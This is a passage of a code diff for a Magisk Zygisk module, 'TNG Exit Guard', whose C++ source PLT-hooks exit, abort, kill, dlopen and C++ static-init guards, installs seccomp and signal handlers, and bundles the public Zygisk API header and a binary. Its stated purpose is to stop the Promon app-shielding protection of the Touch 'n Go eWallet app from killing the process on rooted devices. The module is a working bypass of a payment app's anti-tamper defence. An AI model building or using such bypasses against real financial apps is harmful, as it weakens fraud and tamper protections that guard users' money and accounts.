bool match = false;
|
||||
if (suffix != nullptr) {
|
||||
size_t plen = strlen(p);
|
||||
size_t slen = strlen(suffix);
|
||||
match = plen >= slen && strcmp(p + plen - slen, suffix) == 0;
|
||||
} else if (contains != nullptr) {
|
||||
match = strstr(p, contains) != nullptr;
|
||||
}
|
||||
if (!match) continue;
|
||||
unsigned maj = 0, min = 0;
|
||||
if (sscanf(deststr, "%x:%x", &maj, &min) != 2) continue;
|
||||
*dev = makedev(maj, min);
|
||||
*ino = inode;
|
||||
ok = true;
|
||||
break;
|
||||
}
|
||||
fclose(fp);
|
||||
return ok;
|
||||
}
|
||||
|
||||
static bool find_lib_by_suffix(const char *suffix, dev_t *dev, ino_t *ino) {
|
||||
return find_lib_match(suffix, nullptr, dev, ino);
|
||||
}
|
||||
|
||||
static bool find_libc(dev_t *dev, ino_t *ino) {
|
||||
return find_lib_by_suffix("libc.so", dev, ino);
|
||||
}
|
||||
|
||||
/** 收集 maps 里所有匹配后缀的已加载库(去重)。Zygisk commit 前必须覆盖全部副本,
|
||||
* 否则 libc++ 多副本(/system、/vendor、/apex)时只 hook 一份,调用点仍走原生实现。 */
|
||||
struct lib_devino {
|
||||
dev_t dev;
|
||||
ino_t ino;
|
||||
};
|
||||
|
||||
static int find_all_lib_by_suffix(const char *suffix, lib_devino *out, int max) {
|
||||
FILE *fp = fopen("/proc/self/maps", "r");
|
||||
if (!fp) return 0;
|
||||
char line[1024];
|
||||
int n = 0;
|
||||
while (fgets(line, sizeof(line), fp)) {
|
||||
uintptr_t start = 0, end = 0;
|
||||
char perms[8] = {};
|
||||
unsigned long long offset = 0;
|
||||
char deststr[32] = {};
|
||||
unsigned long inode = 0;
|
||||
char path[512] = {};
|
||||
int got = sscanf(line, "%lx-%lx %7s %llx %31s %lu %511[^\n]",
|
||||
&start, &end, perms, &offset, deststr, &inode, path);
|
||||
if (got < 7 || inode == 0) continue;
|
||||
char *p = path;
|
||||
while (*p == ' ') ++p;
|
||||
size_t plen = strlen(p);
|
||||
size_t slen = strlen(suffix);
|
||||
if (plen < slen || strcmp(p + plen - slen, suffix) != 0) continue;
|
||||
unsigned maj = 0, min = 0;
|
||||
if (sscanf(deststr, "%x:%x", &maj, &min) != 2) continue;
|
||||
dev_t d = makedev(maj, min);
|
||||
ino_t in = inode;
|
||||
bool dup = false;
|
||||
for (int i = 0; i < n; i++) {
|
||||
if (out[i].dev == d && out[i].ino == in) {
|
||||
dup = true;
|
||||
break;
|
||||
}
|
||||
}
|
||||
if (dup) continue;
|
||||
if (n < max) {
|
||||
out[n].dev = d;
|
||||
out[n].ino = in;
|
||||
n++;
|
||||
}
|
||||
}
|
||||
fclose(fp);
|
||||
return n;
|
||||
}
|
||||
|
||||
static void register_plt(zygisk::Api *api, dev_t dev, ino_t ino,
|
||||
const char *sym, void *hook, void **orig) {
|
||||
if (!api || dev == 0 || ino == 0) return;
|
||||
api->pltHookRegister(dev, ino, sym, hook, orig);
|
||||
}
|
||||
|
||||
static void *hooked_sphal_load(const char *name, int flags) {
|
||||
void *handle = orig_sphal_load ? orig_sphal_load(name, flags) : nullptr;
|
||||
if (handle != nullptr || name == nullptr) {
|
||||
return handle;
|
||||
}
|
||||
LOGI("sphal miss name=%s flags=0x%x — try cache/path", name, flags);
|
||||
if (strstr(name, "mapper") != nullptr) {
|
||||
if (g_mapper_pixel_handle != nullptr) {
|
||||
LOGI("sphal return cached mapper %p", g_mapper_pixel_handle);
|
||||
return g_mapper_pixel_handle;
|
||||
}
|
||||
if (orig_dlopen) {
|
||||
handle = orig_dlopen("/vendor/lib64/hw/mapper.pixel.so",
|
||||
RTLD_NOW | RTLD_GLOBAL);
|
||||
if (handle != nullptr) {
|
||||
g_mapper_pixel_handle = handle;
|
||||
LOGI("sphal path mapper -> %p", handle);
|
||||
return handle;
|
||||
}
|
||||
handle = orig_dlopen("mapper.pixel.so", RTLD_NOW | RTLD_GLOBAL);
|
||||
if (handle != nullptr) {
|
||||
g_mapper_pixel_handle = handle;
|
||||
LOGI("sphal name mapper -> %p", handle);
|
||||
return handle;
|
||||
}
|
||||
}
|
||||
}
|
||||
return nullptr;
|
||||
}
|
||||
|
||||
static void *hooked_open_passthrough_hal(const char *interface, const char *instance,
|
||||
int dlopen_flags) {
|
||||
void *handle = orig_open_passthrough_hal
|
||||
? orig_open_passthrough_hal(interface, instance, dlopen_flags)
|
||||
: nullptr;
|
||||
if (handle != nullptr) {
|
||||
return handle;
|
||||
}
|
||||
LOGI("passthroughHal miss iface=%s inst=%s — try mapper path",
|
||||
interface ? interface : "?", instance ? instance : "?");
|
||||
if ((interface && strstr(interface, "mapper") != nullptr)
|
||||
|| (instance && strstr(instance, "pixel") != nullptr)) {
|
||||
if (g_mapper_pixel_handle != nullptr) {
|
||||
return g_mapper_pixel_handle;
|
||||
}
|
||||
if (orig_sphal_load) {
|
||||
handle = orig_sphal_load("mapper.pixel.so", RTLD_NOW);
|
||||
}
|
||||
if (handle == nullptr && orig_dlopen) {
|
||||
handle = orig_dlopen("/vendor/lib64/hw/mapper.pixel.so",
|
||||
RTLD_NOW | RTLD_GLOBAL);
|
||||
}
|
||||
if (handle != nullptr) {
|
||||
g_mapper_pixel_handle = handle;
|
||||
LOGI("passthroughHal mapper recovered -> %p", handle);
|
||||
}
|
||||
}
|
||||
return handle;
|
||||
}
|
||||
|
||||
static void register_dlopen_on_lib(zygisk::Api *api, const char *suffix) {
|
||||
dev_t dev = 0;
|
||||
ino_t ino = 0;
|
||||
if (!find_lib_by_suffix(suffix, &dev, &ino)) {
|
||||
return;
|
||||
}
|
||||
// 必须 hook 调用方 PLT(libhwui/libui),只 hook libc 拦不到 HWUI 的 dlopen
|
||||
register_plt(api, dev, ino, "dlopen",
|
||||
(void *)hooked_dlopen, (void **)&orig_dlopen);
|
||||
register_plt(api, dev, ino, "android_dlopen_ext",
|
||||
(void *)hooked_android_dlopen_ext, (void **)&orig_android_dlopen_ext);
|
||||
register_plt(api, dev, ino, "android_load_sphal_library",
|
||||
(void *)hooked_sphal_load, (void **)&orig_sphal_load);
|
||||
register_plt(api, dev, ino, "AServiceManager_openDeclaredPassthroughHal",
|
||||
(void *)hooked_open_passthrough_hal,
|
||||
(void **)&orig_open_passthrough_hal);
|
||||
LOGI("dlopen PLT on %s", suffix);
|
||||
}
|
||||
|
||||
/** 注册所有已加载 libc++ 副本的 __cxa_guard_acquire/abort。返回注册的副本数。 */
|
||||
static int register_cxx_guard_hooks(zygisk::Api *api) {
|
||||
if (!api) return 0;
|
||||
lib_devino libs[8];
|
||||
int n = find_all_lib_by_suffix("libc++.so", libs, 8);
|
||||
if (n == 0) {
|
||||
n = find_all_lib_by_suffix("libc++_shared.so", libs, 8);
|
||||
}
|
||||
for (int i = 0; i < n; i++) {
|
||||
register_plt(api, libs[i].dev, libs[i].ino, "__cxa_guard_acquire",
|
||||
(void *)hooked_cxa_guard_acquire, (void **)&orig_cxa_guard_acquire);
|
||||
register_plt(api, libs[i].dev, libs[i].ino, "__cxa_guard_abort",
|
||||
(void *)hooked_cxa_guard_abort, (void **)&orig_cxa_guard_abort);
|
||||
}
|
||||
if (n > 0) {
|
||||
LOGI("cxx guard target libc++ copies=%d", n);
|
||||
}
|
||||
return n;
|
||||
}
|
||||
|
||||
static void install_plt(zygisk::Api *api) {
|
||||
if (!api) return;
|
||||
dev_t dev = 0;
|
||||
ino_t ino = 0;
|
||||
if (find_libc(&dev, &ino)) {
|
||||
register_plt(api, dev, ino, "exit", (void *)hooked_exit, (void **)&orig_exit);
|
||||
register_plt(api, dev, ino, "_exit", (void *)hooked__exit, (void **)&orig__exit);
|
||||
register_plt(api, dev, ino, "abort", (void *)hooked_abort, (void **)&orig_abort);
|
||||
register_plt(api, dev, ino, "__stack_chk_fail",
|
||||
(void *)hooked_stack_chk_fail, (void **)&orig_stack_chk_fail);
|
||||
register_plt(api, dev, ino, "raise", (void *)hooked_raise, (void **)&orig_raise);
|
||||
register_plt(api, dev, ino, "kill", (void *)hooked_kill, (void **)&orig_kill);
|
||||
register_plt(api, dev, ino, "tgkill", (void *)hooked_tgkill, (void **)&orig_tgkill);
|
||||
register_plt(api, dev, ino, "pthread_kill",
|
||||
(void *)hooked_pthread_kill, (void **)&orig_pthread_kill);
|
||||
register_plt(api, dev, ino, "dlopen", (void *)hooked_dlopen, (void **)&orig_dlopen);
|
||||
register_plt(api, dev, ino, "android_dlopen_ext",
|
||||
(void *)hooked_android_dlopen_ext, (void **)&orig_android_dlopen_ext);
|
||||
}
|
||||
// HWUI / libui 直接 PLT→linker,必须单独挂
|
||||
register_dlopen_on_lib(api, "libhwui.so");
|
||||
register_dlopen_on_lib(api, "libui.so");
|
||||
register_dlopen_on_lib(api, "libandroid_runtime.so");
|
||||
register_dlopen_on_lib(api, "libbinder_ndk.so");
|
||||
register_dlopen_on_lib(api, "libvndksupport.so");
|
||||
// libc++ cxa guard 必须在首次 commit 前注册:Zygisk pltHookCommit 二次调用会失败,
|
||||
// 导致 __cxa_guard_acquire 递归 abort 保护从未生效(主线程反复 SIGABRT → 黑屏)。
|
||||
int cxx = register_cxx_guard_hooks(api);
|
||||
bool ok = api->pltHookCommit();
|
||||
LOGI("PLT commit=%d cxx_guard_copies=%d", ok ? 1 : 0, cxx);
|
||||
if (ok && cxx > 0) {
|
||||
g_cxx_plt.store(1);
|
||||
}
|
||||
// commit 后立刻预加载,抢在 Promon/命名空间收紧之前拿到句柄
|
||||
preload_hwui_libs();
|
||||
}
|
||||
|
||||
static void try_install_cxx_guard_plt() {
|
||||
if (g_cxx_plt.load() || !g_api) return;
|
||||
dev_t dev = 0;
|
||||
ino_t ino = 0;
|
||||
bool any = false;
|
||||
// libc++ 副本已由首次 PLT commit 覆盖;此处仅补 libtngdigital_ewallet.so 自身 PLT。
|
||||
if (find_lib_by_suffix("libtngdigital_ewallet.so", &dev, &ino)) {
|
||||
register_plt(g_api, dev, ino, "__cxa_guard_acquire",
|
||||
(void *)hooked_cxa_guard_acquire, (void **)&orig_cxa_guard_acquire);
|
||||
register_plt(g_api, dev, ino, "__cxa_guard_abort",
|
||||
(void *)hooked_cxa_guard_abort, (void **)&orig_cxa_guard_abort);
|
||||
any = true;
|
||||
LOGI("cxx guard target libtngdigital_ewallet");
|
||||
}
|
||||
if (!any) return;
|
||||
bool ok = g_api->pltHookCommit();
|
||||
LOGI("cxx guard commit=%d", ok ? 1 : 0);
|
||||
if (ok) {
|
||||
g_cxx_plt.store(1);
|
||||
LOGI("PLT cxx guards committed (orig acquire + recursive skip)");
|
||||
}
|
||||
}
|
||||
|
||||
static void *phase_thread(void *) {
|
||||
install_promon_segv_handler();
|
||||
/* Promon 用 SVC exit_group 绕过 PLT;必须 seccomp。延迟 400ms 避开最早的 fork/getprop。 */
|
||||
usleep(400 * 1000);
|
||||
if (install_seccomp_exit_group_only() == 0) {
|
||||
LOGI("seccomp exit_group armed @400ms");
|
||||
} else {
|
||||
LOGE("seccomp install failed");
|
||||
}
|
||||
for (int i = 0; i < 40; i++) {
|
||||
usleep(1000 * 1000);
|
||||
install_soft_signals();
|
||||
install_promon_segv_handler();
|
||||
try_install_cxx_guard_plt();
|
||||
if (i % 5 == 0) refresh_promon_so_range();
|
||||
}
|
||||
LOGI("phase done seccomp=%d stack_chk=%d promon_segv=%d",
|
||||
g_seccomp_ok.load(), g_stack_chk.load(), g_promon_segv.load());
|
||||
return nullptr;
|
||||
}
|
||||
|
||||
static void install_all(zygisk::Api *api) {
|
||||
g_api = api;
|
||||
g_main_tid.store(gettid());
|
||||
LOGI("install pid=%d main_tid=%d (PLT+cxx-guard+ABRT-pc+4+SEGV-skip+seccomp@400ms)",
|
||||
getpid(), (int)g_main_tid.load());
|
||||
install_fatal_skip_handlers();
|
||||
install_soft_signals();
|
||||
install_plt(api);
|
||||
pthread_t th;
|
||||
if (pthread_create(&th, nullptr, phase_thread, nullptr) == 0) {
|
||||
pthread_detach(th);
|
||||
}
|
||||
LOGI("ready");
|
||||
}
|
||||
|
||||
class TngExitGuardModule : public zygisk::ModuleBase {
|
||||
public:
|
||||
void onLoad(zygisk::Api *api, JNIEnv *env) override {
|
||||
this->api = api;
|
||||
this->env = env;
|
||||
}
|
||||
|
||||
void preAppSpecialize(zygisk::AppSpecializeArgs *args) override {
|
||||
const char *nice = nullptr;
|
||||
if (args->nice_name) {
|
||||
nice = env->GetStringUTFChars(args->nice_name, nullptr);
|
||||
}
|
||||
bool match = nice && (
|
||||
std::strncmp(nice, kTargetPkg, std::strlen(kTargetPkg)) == 0);
|
||||
if (nice) env->ReleaseStringUTFChars(args->nice_name, nice);
|
||||
g_enabled = match;
|
||||
if (!match) {
|
||||
api->setOption(zygisk::Option::DLCLOSE_MODULE_LIBRARY);
|
||||
return;
|
||||
}
|
||||
LOGI("preAppSpecialize matched");
|
||||
}
|
||||
|
||||
void postAppSpecialize(const zygisk::AppSpecializeArgs *args) override {
|
||||
(void)args;
|
||||
if (!g_enabled) return;
|
||||
install_all(api);
|
||||
}
|
||||
|
||||
private:
|
||||
zygisk::Api *api = nullptr;
|
||||
JNIEnv *env = nullptr;
|
||||
};
|
||||
|
||||
REGISTER_ZYGISK_MODULE(TngExitGuardModule)
|
||||
391
magisk-modules/tng_exit_guard/jni/zygisk.hpp
Normal file
391
magisk-modules/tng_exit_guard/jni/zygisk.hpp
Normal file
@@ -0,0 +1,391 @@
|
||||
/* Copyright 2022-2023 John "topjohnwu" Wu
|
||||
*
|
||||
* Permission to use, copy, modify, and/or distribute this software for any
|
||||
* purpose with or without fee is hereby granted.
|
||||
*
|
||||
* THE SOFTWARE IS PROVIDED "AS IS" AND THE AUTHOR DISCLAIMS ALL WARRANTIES WITH
|
||||
* REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF MERCHANTABILITY
|
||||
* AND FITNESS. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY SPECIAL, DIRECT,
|
||||
* INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES WHATSOEVER RESULTING FROM
|
||||
* LOSS OF USE, DATA OR PROFITS, WHETHER IN AN ACTION OF CONTRACT, NEGLIGENCE OR
|
||||
* OTHER TORTIOUS ACTION, ARISING OUT OF OR IN CONNECTION WITH THE USE OR
|
||||
* PERFORMANCE OF THIS SOFTWARE.
|
||||
*/
|
||||
|
||||
// This is the public API for Zygisk modules.
|
||||
// DO NOT MODIFY ANY CODE IN THIS HEADER.
|
||||
|
||||
#pragma once
|
||||
|
||||
#include <jni.h>
|
||||
|
||||
#define ZYGISK_API_VERSION 4
|
||||
|
||||
/*
|
||||
|
||||
***************
|
||||
* Introduction
|
||||
***************
|
||||
|
||||
On Android, all app processes are forked from a special daemon called "Zygote".
|
||||
For each new app process, zygote will fork a new process and perform "specialization".
|
||||
This specialization operation enforces the Android security sandbox on the newly forked
|
||||
process to make sure that 3rd party application code is only loaded after it is being
|
||||
restricted within a sandbox.
|
||||
|
||||
On Android, there is also this special process called "system_server". This single
|
||||
process hosts a significant portion of system services, which controls how the
|
||||
Android operating system and apps interact with each other.
|
||||
|
||||
The Zygisk framework provides a way to allow developers to build modules and run custom
|
||||
code before and after system_server and any app processes' specialization.
|
||||
This enable developers to inject code and alter the behavior of system_server and app processes.
|
||||
|
||||
Please note that modules will only be loaded after zygote has forked the child process.
|
||||
THIS MEANS ALL OF YOUR CODE RUNS IN THE APP/SYSTEM_SERVER PROCESS, NOT THE ZYGOTE DAEMON!
|
||||
|
||||
*********************
|
||||
* Development Guide
|
||||
*********************
|
||||
|
||||
Define a class and inherit zygisk::ModuleBase to implement the functionality of your module.
|
||||
Use the macro REGISTER_ZYGISK_MODULE(className) to register that class to Zygisk.
|
||||
|
||||
Example code:
|
||||
|
||||
static jint (*orig_logger_entry_max)(JNIEnv *env);
|
||||
static jint my_logger_entry_max(JNIEnv *env) { return orig_logger_entry_max(env); }
|
||||
|
||||
class ExampleModule : public zygisk::ModuleBase {
|
||||
public:
|
||||
void onLoad(zygisk::Api *api, JNIEnv *env) override {
|
||||
this->api = api;
|
||||
this->env = env;
|
||||
}
|
||||
void preAppSpecialize(zygisk::AppSpecializeArgs *args) override {
|
||||
JNINativeMethod methods[] = {
|
||||
{ "logger_entry_max_payload_native", "()I", (void*) my_logger_entry_max },
|
||||
};
|
||||
api->hookJniNativeMethods(env, "android/util/Log", methods, 1);
|
||||
*(void **) &orig_logger_entry_max = methods[0].fnPtr;
|
||||
}
|
||||
private:
|
||||
zygisk::Api *api;
|
||||
JNIEnv *env;
|
||||
};
|
||||
|
||||
REGISTER_ZYGISK_MODULE(ExampleModule)
|
||||
|
||||
-----------------------------------------------------------------------------------------
|
||||
|
||||
Since your module class's code runs with either Zygote's privilege in pre[XXX]Specialize,
|
||||
or runs in the sandbox of the target process in post[XXX]Specialize, the code in your class
|
||||
never runs in a true superuser environment.
|
||||
|
||||
If your module require access to superuser permissions, you can create and register
|
||||
a root companion handler function. This function runs in a separate root companion
|
||||
daemon process, and an Unix domain socket is provided to allow you to perform IPC between
|
||||
your target process and the root companion process.
|
||||
|
||||
Example code:
|
||||
|
||||
static void example_handler(int socket) { ... }
|
||||
|
||||
REGISTER_ZYGISK_COMPANION(example_handler)
|
||||
|
||||
*/
|
||||
|
||||
namespace zygisk {
|
||||
|
||||
struct Api;
|
||||
struct AppSpecializeArgs;
|
||||
struct ServerSpecializeArgs;
|
||||
|
||||
class ModuleBase {
|
||||
public:
|
||||
|
||||
// This method is called as soon as the module is loaded into the target process.
|
||||
// A Zygisk API handle will be passed as an argument.
|
||||
virtual void onLoad([[maybe_unused]] Api *api, [[maybe_unused]] JNIEnv *env) {}
|
||||
|
||||
// This method is called before the app process is specialized.
|
||||
// At this point, the process just got forked from zygote, but no app specific specialization
|
||||
// is applied. This means that the process does not have any sandbox restrictions and
|
||||
// still runs with the same privilege of zygote.
|
||||
//
|
||||
// All the arguments that will be sent and used for app specialization is passed as a single
|
||||
// AppSpecializeArgs object. You can read and overwrite these arguments to change how the app
|
||||
// process will be specialized.
|
||||
//
|
||||
// If you need to run some operations as superuser, you can call Api::connectCompanion() to
|
||||
// get a socket to do IPC calls with a root companion process.
|
||||
// See Api::connectCompanion() for more info.
|
||||
virtual void preAppSpecialize([[maybe_unused]] AppSpecializeArgs *args) {}
|
||||
|
||||
// This method is called after the app process is specialized.
|
||||
// At this point, the process has all sandbox restrictions enabled for this application.
|
||||
// This means that this method runs with the same privilege of the app's own code.
|
||||
virtual void postAppSpecialize([[maybe_unused]] const AppSpecializeArgs *args) {}
|
||||
|
||||
// This method is called before the system server process is specialized.
|
||||
// See preAppSpecialize(args) for more info.
|
||||
virtual void preServerSpecialize([[maybe_unused]] ServerSpecializeArgs *args) {}
|
||||
|
||||
// This method is called after the system server process is specialized.
|
||||
// At this point, the process runs with the privilege of system_server.
|
||||
virtual void postServerSpecialize([[maybe_unused]] const ServerSpecializeArgs *args) {}
|
||||
};
|
||||
|
||||
struct AppSpecializeArgs {
|
||||
// Required arguments. These arguments are guaranteed to exist on all Android versions.
|
||||
jint &uid;
|
||||
jint &gid;
|
||||
jintArray &gids;
|
||||
jint &runtime_flags;
|
||||
jobjectArray &rlimits;
|
||||
jint &mount_external;
|
||||
jstring &se_info;
|
||||
jstring &nice_name;
|
||||
jstring &instruction_set;
|
||||
jstring &app_data_dir;
|
||||
|
||||
// Optional arguments. Please check whether the pointer is null before de-referencing
|
||||
jintArray *const fds_to_ignore;
|
||||
jboolean *const is_child_zygote;
|
||||
jboolean *const is_top_app;
|
||||
jobjectArray *const pkg_data_info_list;
|
||||
jobjectArray *const whitelisted_data_info_list;
|
||||
jboolean *const mount_data_dirs;
|
||||
jboolean *const mount_storage_dirs;
|
||||
|
||||
AppSpecializeArgs() = delete;
|
||||
};
|
||||
|
||||
struct ServerSpecializeArgs {
|
||||
jint &uid;
|
||||
jint &gid;
|
||||
jintArray &gids;
|
||||
jint &runtime_flags;
|
||||
jlong &permitted_capabilities;
|
||||
jlong &effective_capabilities;
|
||||
|
||||
ServerSpecializeArgs() = delete;
|
||||
};
|
||||
|
||||
namespace internal {
|
||||
struct api_table;
|
||||
template <class T> void entry_impl(api_table *, JNIEnv *);
|
||||
}
|
||||
|
||||
// These values are used in Api::setOption(Option)
|
||||
enum Option : int {
|
||||
// Force Magisk's denylist unmount routines to run on this process.
|
||||
//
|
||||
// Setting this option only makes sense in preAppSpecialize.
|
||||
// The actual unmounting happens during app process specialization.
|
||||
//
|
||||
// Set this option to force all Magisk and modules' files to be unmounted from the
|
||||
// mount namespace of the process, regardless of the denylist enforcement status.
|
||||
FORCE_DENYLIST_UNMOUNT = 0,
|
||||
|
||||
// When this option is set, your module's library will be dlclose-ed after post[XXX]Specialize.
|
||||
// Be aware that after dlclose-ing your module, all of your code will be unmapped from memory.
|
||||
// YOU MUST NOT ENABLE THIS OPTION AFTER HOOKING ANY FUNCTIONS IN THE PROCESS.
|
||||
DLCLOSE_MODULE_LIBRARY = 1,
|
||||
};
|
||||
|
||||
// Bit masks of the return value of Api::getFlags()
|
||||
enum StateFlag : uint32_t {
|
||||
// The user has granted root access to the current process
|
||||
PROCESS_GRANTED_ROOT = (1u << 0),
|
||||
|
||||
// The current process was added on the denylist
|
||||
PROCESS_ON_DENYLIST = (1u << 1),
|
||||
};
|
||||
|
||||
// All API methods will stop working after post[XXX]Specialize as Zygisk will be unloaded
|
||||
// from the specialized process afterwards.
|
||||
struct Api {
|
||||
|
||||
// Connect to a root companion process and get a Unix domain socket for IPC.
|
||||
//
|
||||
// This API only works in the pre[XXX]Specialize methods due to SELinux restrictions.
|
||||
//
|
||||
// The pre[XXX]Specialize methods run with the same privilege of zygote.
|
||||
// If you would like to do some operations with superuser permissions, register a handler
|
||||
// function that would be called in the root process with REGISTER_ZYGISK_COMPANION(func).
|
||||
// Another good use case for a companion process is that if you want to share some resources
|
||||
// across multiple processes, hold the resources in the companion process and pass it over.
|
||||
//
|
||||
// The root companion process is ABI aware; that is, when calling this method from a 32-bit
|
||||
// process, you will be connected to a 32-bit companion process, and vice versa for 64-bit.
|
||||
//
|
||||
// Returns a file descriptor to a socket that is connected to the socket passed to your
|
||||
// module's companion request handler. Returns -1 if the connection attempt failed.
|
||||
int connectCompanion();
|
||||
|
||||
// Get the file descriptor of the root folder of the current module.
|
||||
//
|
||||
// This API only works in the pre[XXX]Specialize methods.
|
||||
// Accessing the directory returned is only possible in the pre[XXX]Specialize methods
|
||||
// or in the root companion process (assuming that you sent the fd over the socket).
|
||||
// Both restrictions are due to SELinux and UID.
|
||||
//
|
||||
// Returns -1 if errors occurred.
|
||||
int getModuleDir();
|
||||
|
||||
// Set various options for your module.
|
||||
// Please note that this method accepts one single option at a time.
|
||||
// Check zygisk::Option for the full list of options available.
|
||||
void setOption(Option opt);
|
||||
|
||||
// Get information about the current process.
|
||||
// Returns bitwise-or'd zygisk::StateFlag values.
|
||||
uint32_t getFlags();
|
||||
|
||||
// Exempt the provided file descriptor from being automatically closed.
|
||||
//
|
||||
// This API only make sense in preAppSpecialize; calling this method in any other situation
|
||||
// is either a no-op (returns true) or an error (returns false).
|
||||
//
|
||||
// When false is returned, the provided file descriptor will eventually be closed by zygote.
|
||||
bool exemptFd(int fd);
|
||||
|
||||
// Hook JNI native methods for a class
|
||||
//
|
||||
// Lookup all registered JNI native methods and replace it with your own methods.
|
||||
// The original function pointer will be saved in each JNINativeMethod's fnPtr.
|
||||
// If no matching class, method name, or signature is found, that specific JNINativeMethod.fnPtr
|
||||
// will be set to nullptr.
|
||||
void hookJniNativeMethods(JNIEnv *env, const char *className, JNINativeMethod *methods, int numMethods);
|
||||
|
||||
// Hook functions in the PLT (Procedure Linkage Table) of ELFs loaded in memory.
|
||||
//
|
||||
// Parsing /proc/[PID]/maps will give you the memory map of a process. As an example:
|
||||
//
|
||||
// <address> <perms> <offset> <dev> <inode> <pathname>
|
||||
// 56b4346000-56b4347000 r-xp 00002000 fe:00 235 /system/bin/app_process64
|
||||
// (More details: https://man7.org/linux/man-pages/man5/proc.5.html)
|
||||
//
|
||||
// The `dev` and `inode` pair uniquely identifies a file being mapped into memory.
|
||||
// For matching ELFs loaded in memory, replace function `symbol` with `newFunc`.
|
||||
// If `oldFunc` is not nullptr, the original function pointer will be saved to `oldFunc`.
|
||||
void pltHookRegister(dev_t dev, ino_t inode, const char *symbol, void *newFunc, void **oldFunc);
|
||||
|
||||
// Commit all the hooks that was previously registered.
|
||||
// Returns false if an error occurred.
|
||||
bool pltHookCommit();
|
||||
|
||||
private:
|
||||
internal::api_table *tbl;
|
||||
template <class T> friend void internal::entry_impl(internal::api_table *, JNIEnv *);
|
||||
};
|
||||
|
||||
// Register a class as a Zygisk module
|
||||
|
||||
#define REGISTER_ZYGISK_MODULE(clazz) \
|
||||
void zygisk_module_entry(zygisk::internal::api_table *table, JNIEnv *env) { \
|
||||
zygisk::internal::entry_impl<clazz>(table, env); \
|
||||
}
|
||||
|
||||
// Register a root companion request handler function for your module
|
||||
//
|
||||
// The function runs in a superuser daemon process and handles a root companion request from
|
||||
// your module running in a target process. The function has to accept an integer value,
|
||||
// which is a Unix domain socket that is connected to the target process.
|
||||
// See Api::connectCompanion() for more info.
|
||||
//
|
||||
// NOTE: the function can run concurrently on multiple threads.
|
||||
// Be aware of race conditions if you have globally shared resources.
|
||||
|
||||
#define REGISTER_ZYGISK_COMPANION(func) \
|
||||
void zygisk_companion_entry(int client) { func(client); }
|
||||
|
||||
/*********************************************************
|
||||
* The following is internal ABI implementation detail.
|
||||
* You do not have to understand what it is doing.
|
||||
*********************************************************/
|
||||
|
||||
namespace internal {
|
||||
|
||||
struct module_abi {
|
||||
long api_version;
|
||||
ModuleBase *impl;
|
||||
|
||||
void (*preAppSpecialize)(ModuleBase *, AppSpecializeArgs *);
|
||||
void (*postAppSpecialize)(ModuleBase *, const AppSpecializeArgs *);
|
||||
void (*preServerSpecialize)(ModuleBase *, ServerSpecializeArgs *);
|
||||
void (*postServerSpecialize)(ModuleBase *, const ServerSpecializeArgs *);
|
||||
|
||||
module_abi(ModuleBase *module) : api_version(ZYGISK_API_VERSION), impl(module) {
|
||||
preAppSpecialize = [](auto m, auto args) { m->preAppSpecialize(args); };
|
||||
postAppSpecialize = [](auto m, auto args) { m->postAppSpecialize(args); };
|
||||
preServerSpecialize = [](auto m, auto args) { m->preServerSpecialize(args); };
|
||||
postServerSpecialize = [](auto m, auto args) { m->postServerSpecialize(args); };
|
||||
}
|
||||
};
|
||||
|
||||
struct api_table {
|
||||
// Base
|
||||
void *impl;
|
||||
bool (*registerModule)(api_table *, module_abi *);
|
||||
|
||||
void (*hookJniNativeMethods)(JNIEnv *, const char *, JNINativeMethod *, int);
|
||||
void (*pltHookRegister)(dev_t, ino_t, const char *, void *, void **);
|
||||
bool (*exemptFd)(int);
|
||||
bool (*pltHookCommit)();
|
||||
int (*connectCompanion)(void * /* impl */);
|
||||
void (*setOption)(void * /* impl */, Option);
|
||||
int (*getModuleDir)(void * /* impl */);
|
||||
uint32_t (*getFlags)(void * /* impl */);
|
||||
};
|
||||
|
||||
template <class T>
|
||||
void entry_impl(api_table *table, JNIEnv *env) {
|
||||
static Api api;
|
||||
api.tbl = table;
|
||||
static T module;
|
||||
ModuleBase *m = &module;
|
||||
static module_abi abi(m);
|
||||
if (!table->registerModule(table, &abi)) return;
|
||||
m->onLoad(&api, env);
|
||||
}
|
||||
|
||||
} // namespace internal
|
||||
|
||||
inline int Api::connectCompanion() {
|
||||
return tbl->connectCompanion ? tbl->connectCompanion(tbl->impl) : -1;
|
||||
}
|
||||
inline int Api::getModuleDir() {
|
||||
return tbl->getModuleDir ? tbl->getModuleDir(tbl->impl) : -1;
|
||||
}
|
||||
inline void Api::setOption(Option opt) {
|
||||
if (tbl->setOption) tbl->setOption(tbl->impl, opt);
|
||||
}
|
||||
inline uint32_t Api::getFlags() {
|
||||
return tbl->getFlags ? tbl->getFlags(tbl->impl) : 0;
|
||||
}
|
||||
inline bool Api::exemptFd(int fd) {
|
||||
return tbl->exemptFd != nullptr && tbl->exemptFd(fd);
|
||||
}
|
||||
inline void Api::hookJniNativeMethods(JNIEnv *env, const char *className, JNINativeMethod *methods, int numMethods) {
|
||||
if (tbl->hookJniNativeMethods) tbl->hookJniNativeMethods(env, className, methods, numMethods);
|
||||
}
|
||||
inline void Api::pltHookRegister(dev_t dev, ino_t inode, const char *symbol, void *newFunc, void **oldFunc) {
|
||||
if (tbl->pltHookRegister) tbl->pltHookRegister(dev, inode, symbol, newFunc, oldFunc);
|
||||
}
|
||||
inline bool Api::pltHookCommit() {
|
||||
return tbl->pltHookCommit != nullptr && tbl->pltHookCommit();
|
||||
}
|
||||
|
||||
} // namespace zygisk
|
||||
|
||||
extern "C" {
|
||||
|
||||
[[gnu::visibility("default"), maybe_unused]]
|
||||
void zygisk_module_entry(zygisk::internal::api_table *, JNIEnv *);
|
||||
|
||||
[[gnu::visibility("default"), maybe_unused]]
|
||||
void zygisk_companion_entry(int);
|
||||
|
||||
} // extern "C"
|
||||
6
magisk-modules/tng_exit_guard/module.prop
Normal file
6
magisk-modules/tng_exit_guard/module.prop
Normal file
@@ -0,0 +1,6 @@
|
||||
id=tng_exit_guard
|
||||
name=TNG Exit Guard
|
||||
version=v1.0
|
||||
versionCode=1
|
||||
author=miraclegarden
|
||||
description=Zygisk: block Promon native exit_group for my.com.tngdigital.ewallet. Pair with notiMessage Xposed TngRoot hooks. Do NOT put TNG on Magisk DenyList.
|
||||
BIN
magisk-modules/tng_exit_guard/zygisk/arm64-v8a.so
Normal file
BIN
magisk-modules/tng_exit_guard/zygisk/arm64-v8a.so
Normal file
Binary file not shown.
19
reverse/README.md
Normal file
19
